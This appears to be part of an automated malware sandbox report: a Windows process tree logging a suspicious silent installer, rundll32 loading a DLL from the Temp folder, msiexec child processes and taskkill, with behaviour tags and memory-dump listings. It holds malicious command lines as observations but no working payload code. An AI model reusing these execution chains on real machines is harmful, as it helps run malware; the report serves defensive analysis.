                                                                                                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:988
                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:7908
                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:2596
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                        PID:1536
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-4DR8N.tmp\setup_2.tmp
                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-4DR8N.tmp\setup_2.tmp" /SL5="$20208,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                          PID:2648
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                        PID:508
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4700
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                          PID:968
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                            PID:4028
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                          PID:4244
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                          PID:5532
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                          PID:6884
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                          PID:7120
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                          PID:5540
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding A95674F6BE2296E8121271ACE8416019 C
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                            PID:6268
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding FA84F76C8408063D5B56068B1E274A3B
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                            PID:7152
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                              PID:5592
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:8136
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding 54CF04E92AA7D05DDCB686EF15B1D595 E Global\MSI0000
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                              PID:8048
                                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:7548
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                              PID:8048
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                PID:8060
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:7344
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:8132
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies system executable filetype association
                                                                                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                    PID:4256
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                      PID:3456
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                  PID:5052
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                  PID:6536
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                  PID:7144
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                  PID:5372
                                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                  PID:7124
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2828
                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3176
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:7408
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6384
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                          PID:7424
                                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1456
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4028
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                              PID:6916
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6488
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                PID:5160
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:7208
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1232
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1884
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6020
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4364
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4836
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6788
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5528
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3028
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                    PID:7312
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                    PID:7564

                                                                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/684-271-0x0000000007450000-0x0000000007451000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/684-248-0x0000000000670000-0x0000000000671000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/684-268-0x0000000000E80000-0x0000000000E84000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    16KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/972-249-0x00000000023A0000-0x00000000023A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/988-355-0x000001E092630000-0x000001E0926A4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1028-433-0x0000021585E10000-0x0000021585E84000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1036-338-0x0000000005760000-0x0000000005761000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1096-416-0x000001F68EA70000-0x000001F68EAE4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1216-435-0x0000028CA6AD0000-0x0000028CA6B44000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1344-453-0x0000020046B70000-0x0000020046BE4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1352-272-0x0000000000C60000-0x0000000000C61000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1352-283-0x0000000000C90000-0x0000000000C91000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1352-260-0x0000000000540000-0x0000000000541000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                    4KB

